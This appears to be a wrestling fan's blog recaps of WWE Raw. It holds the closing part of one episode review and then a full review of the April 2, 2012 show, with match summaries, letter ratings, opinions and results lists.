Tensai hooks a nerve hold but Cena fights back. Cena hits his usual stuff but when he loads up the Shuffle, Tensai pops up and chops Cena down. Backsplash gets two. Tensai drops a leg on the arm and puts on a Fujiwara Armbar. Sweet goodness there’s some crank on that thing. Cena rolls through into a crossface (called the STF by Cole) and Otunga runs in. There’s an AA for him but Cena walks into green mist and a Baldo Bomb for the pin at 7:00.

Rating: D+. At the end of the day, he’s Albert in red trunks. That doesn’t make him interesting or anything like that. It makes him slow and not someone that I want to watch. I don’t see the logic in having Cena lose AGAIN before a major showdown with Brock, but to be fair he can lose a few matches and not lose any credibility.

Cena is blind to end the show.

Overall Rating: B. I liked this show for the most part and the fact that it was taped didn’t really hurt things that badly. Some of the matches were pretty good and we advanced stuff towards the PPV which is a good thing. They need to flesh out the card a good bit but with three shows left before then that’s certainly possible. I liked this show and it worked pretty well. Good stuff.

Results
CM Punk b. Mark Henry – Chair shot from the top rope
Santino Marella b. David Otunga – Cobra
Daniel Bryan b. Sheamus – Yes Lock
Brodus Clay b. Dolph Ziggler via DQ when Jack Swagger interfered
Great Khali/Big Show b. Epico/Primo – Chokeslam to Primo
Lord Tensai b. John Cena – Chokebomb

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Monday Night Raw – April 2, 2012: LESNAR!

Monday Night Raw
Date: April 2, 2012
Location: American Airlines Arena, Miami, Florida
Commentators: Michael Cole, Jerry Lawler

Tonight is the show after Wrestlemania and we basically start the new year in WWE. The Rock beat John Cena last night in a good match that didn’t quite live up to its hype. Other than that, HHH couldn’t break the Streak, which shouldn’t surprise anyone. I’m not sure what comes next on this show, which is what makes tonight fun. Let’s get to it.

We open with a state of the shows speech by Ace but Punk interrupts, saying that everyone knows that Ace is a giant tool box. Ace says that Punk is defending tonight against Mark Henry. This is the era of People Power according to the boss.

Theme song.

Here’s Rock for the real opening. The fans chant his latest catchphrase for awhile to keep him from talking for awhile and he does the goosebumps thing. He talks about how he came back 14 months ago and they’ve done it all since then. It wasn’t until last night that Rock stood before 70,000 people and won at Wrestlemania in Sun Life Stadium. Now he can truly say he’s come back….home.

Rock explains the goosebumps thing again and says he has to thank Cena. The fans of course think he sucks because it’s what they’re programmed to do. Rock says it’s an honor to have competed against Cena in the biggest match of all time, and all that matters is they made history for the fans. Rock thanks the people for being there for him last night and for always being behind him.

For some reason Rock talks about being cut from the Canadian Football League. “Do you realize how much you have to suck to be cut from the Canadian Football League????” He thanks the people for making him the people’s champion and promises this is only the beginning. The fans chant Thank You Rocky and Rock talks about having a vision last night after partying in Miami. He shows off a bit of the dancing he did (drawing a whistle, apparently from a male Cena fan) and asks if the people want to hear his vision. The vision is that one day he’ll be WWE Champion.

US Title: Santino Marella vs. Jack Swagger vs. Dolph Ziggler

Basically it’s a handicap match here as both guys corner him. Swagger gets him in the corner and Ziggler kicks him down. There are the sit-ups from Ziggler and Swagger rides him on the mat. Santino fights back with right hands and dumps Dolph to the floor (required great bump) but Swagger runs him over with a tackle as we take a break. Back with Santino in trouble again, more or less just like it’s been all match so far.

Ziggy holds him but Santino gets in a boot and a Saito Suplex to Ziggler. He takes over on Jack and loads up the Cobra but Dolph grabs a neckbreaker to put him right back down. An assisted Fameasser gets two as Jack looks like he wants to make the save. Yep we’re in triple threat formula territory now. Swagger suplexes Ziggler but the Vader Bomb eats knees. Ziggler dropkicks Swagger and walks into a slingshot. Cobra to Swagger keeps the title at 6:51.

Rating: C-. This was any triple threat match that you’ve seen in a long time. The face gets beaten down for awhile, the heels don’t get along, the face steals the win to keep the title. There’s nothing wrong with that and it worked decently here, but it’s something we’ve seen time after time.

Post match they go after him (after falling for the LOOK OVER THERE gag) and almost catch him on the stage, but Brodus freaking Clay comes out as backup for Santino. Ziggy charges at him but runs into the headbutt. Swagger won’t jump him so Clay, the dancers and Santino have a little dance party. LOUD Funkasaurus chant during him staring down Swagger/Ziggler too. That’s a really good sign.

Lord Tensai vs. Alex Riley

Tensai has some Japanese guy with him to throw salt. It’s clearly Albert/A-Train even though all of his face other than his eyes is covered. Cole says it’s known that he’s a former WWE Superstar who went to Japan and dominated before coming back. I’m not sure if I like that or not but it’s one way to go. He’s in red trunks and arm bands and has Japanese symbols across his face diagonally. His face is uncovered now but we haven’t heard his old name yet. Total domination with tons of elbow strikes and headbutts and Riley is out. Chokebomb ends this via referee stoppage at 2:46. Standard debuting monster squash.

Riley is almost up a few seconds later so Tensai throws on a claw post match. He spit something on his hand before putting the hold on. They never said A-Train or Albert.

We hear again about how Cena is going to call out Rock tonight for the fallout from last night. We’ve gotten two clips of him saying he had to win last night, so the question is how he’ll react to it.

Raw World Title: Mark Henry vs. CM Punk

Punk gets overpowered to start but manages to get in some strikes. Those get him absolutely nowhere. Well, unless you count face down on the mat and getting pounded on somewhere of course. Either way, Henry dominates him with pure power. Punk’s back is still hurt from the Jericho match last night. There’s a bearhug but it never goes on fully, as Punk pounds away and DDTs out of it for two. Running knee to the head gets the same. Henry gets in another shot to the back and sets for a Vader Bomb, but Punk gets in a shot to break it up.

That doesn’t really matter though as Henry drills him again and tries a second time. This time Punk moves and Henry crashes down. Henry manages to run him over though and we take a break. Back with Punk diving into a clothesline but getting caught by Henry. He knocks the champ down again and it’s nerve hold time. Punk fights out of that and chops the tar out of Henry.

A high kick puts Henry down and a very slow climb sets up the Macho Elbow. It hurts Punk’s back again but he manages the running knee in the corner. No bulldog though. Another knee looks to set up the bulldog but Henry throws Punk to the floor. That combo works about 2% of the time. In a very surprising ending, Punk doesn’t beat the count back in and Henry wins by countout at 13:00.

Rating: C+. Good stuff here with Punk fighting the odds and trying to hang in there, but I’m not sure I like the ending. It obviously sets up a rematch for Henry which is the right idea, and I think I can live with that. Not a bad match at all, but it wasn’t my favorite for some reason. Maybe it’s Henry not being that interesting anymore. Actually scratch that about the ending. The match was for the title so there was no other way to end it if that’s how they’re going forward, which is ok.

Post match Henry gives him the World’s Strongest Slam on the floor. The fans want Lesnar. Ace and Otunga come out to say that Punk is going to be defending the title on a much more consistent basis. Jericho pops up and says that it looks like Punk needs a drink. He pulls out a bottle of what looks like whiskey and pours it on Punk’s head, ala Raven or Lawler/Roberts in 1996. Jericho slips on the booze in a funny bit. Jericho goes to get another bottle and breaks this one over Punk’s head. Punk’s hand shaking is a nice touch.

Here’s Sheamus, but he’s immediately cut off by the returning Alberto Del Rio in I believe a Lamborghini. Scratch that it’s a Mercedes. Del Rio says he wouldn’t lose in 18 seconds. Sheamus has a new challenger and his name is Alberto Del Rio, according to Ricardo in a great bit. The fans chant SI SI SI SI in another funny bit. The crowd has been great for the most part tonight. Ace has granted Del Rio a match on Smackdown with Sheamus and if he wins, he gets a future title match. Del Rio’s mic goes out and he goes to get another, but turns around into the Brogue Kick. Cool ending to the segment.

Bryan and AJ were watching and Josh pops up. Bryan glares at Josh and that’s that.

Cody Rhodes vs. Kofi Kingston

It’s weird seeing Cody without the title. Kofi starts fast with a spinning cross body but he walks into the Disaster Kick. He sets for something else but here’s Big Show with the title. Show has a clip of last night with Cody’s Embarrassing Wrestlemania Moment. Ok that’s pretty good. Cody walks into Trouble in Paradise for the pin at 1:50.

More Cena and Rock clips with Cena talking about how he had to win.

Henry is ticked off in the back and Abraham Washington of all people comes in to say it’s time for a change for Mark. Washington offers to manage him and leaves Mark with one of his cards.

Here’s Eve who says that last night was her Wrestlemania moment. She manipulated Ryder and can manipulate any man, except the GM, Johnny Ace. People Power!

The Miz vs. Zack Ryder

Cena has just arrived apparently. Ryder takes Miz down with a forearm and pounds away. A sunset flip is rolled through for two for Ryder. He kicks Miz into the corner and is very aggressive here. Miz kicks him down and hooks a chinlock. That’s broken quickly and Ryder gets two knees up to Miz’s face. Cole compares Eve to Jane Eyre. For some reason I don’t think there’s a big crossover between Bronte fans and Raw fans, but I could be wrong. Broski Boot gets two. Miz throws Ryder’ss shoulder into the post and the Skull Crushing Finale gets the clean pin at 2:58.

Overall Rating: B+. This show clicked very well. First of all, it FLEW by. We seemingly have the next world title matches lined up, with two potential challengers for both champions. There’s a new manager around now and Tensai’s debut was….well it was ok I guess, but it was nothing that came off to me as great. Really good show, although the wrestling needed to be a bit better.

Orton vs. Kane on Friday.

Here’s Cena for the big callout. There’s going to be a LONG overrun tonight as it’s 10:58 when his music starts. Cena says that everyone in life faces defeat, which is paraphrased here but the real line was a Muhammad Ali quote. Cena says he didn’t ever think he would lose. During the whole year it never crossed his mind because if you think that way you’ve already lost. A true champion believes he can win even through his most disappointing loss.

Cena says there was a lot of speculation as to how he’d react to this. Would he lash out? Would he make excuses? The fans chant that he’s a loser. Cena says people have wondered if this was the day he finally lashed out at the WWE Universe. The fans chant YES YES YES in a good bit. Cena says that’s not going to happen, drawing heat on the level that he got in the stadium last night. Cena is a man and he was beaten. He admits defeat and apologizes to his supporters. Cena thanks the rapper from last night and gets booed again.

Now let’s address the rumors about calling Rock out. He’s not going to do that because he doesn’t want to fight Rock and they’ve called each other out for a year. The fans want Lesnar and Cena stops for them to chant it. He says that it’s always an interesting crowd at Raw and he wants Rock. Cena invites him down to the ring to talk because he doesn’t want to fight. John says he thinks Rock is the greatest in WWE history. Cena wants one more moment of celebration for Rock in the middle of the ring. The fans still want Lesnar. Cena starts a yes chant and says Bryan owes him one. No Rock yet.

LESNAR! HE’S BACK! He poses on the stage (with Cole sounding like he’s calling a Superstars main event) and circles the ring before getting in. Cena applauds him and Lesnar picks him up for a HUGE F5. He kicks Cena’s hat away and stands tall to end the show.

Overall Rating
: A. This show clicked very well. First of all, it FLEW by. We seemingly have the next world title matches lined up, with two potential challengers for both champions. There’s a new manager around now and Tensai’s debut was….well it was ok I guess, but it was nothing that came off to me as great. Really good show, although the wrestling needed to be a bit better. And then Lesnar came back, to make it a HUGE show.

Results
Santino Marella b. Jack Swagger and Dolph Ziggler – Cobra to Swagger
Lord Tensai b. Alex Riley via referee stoppage
Mark Henry b. CM Punk via countout
Kofi Kingston b. Cody Rhodes – Trouble in Paradise
The Miz b. Zack Ryder – Skull Crushing Finale

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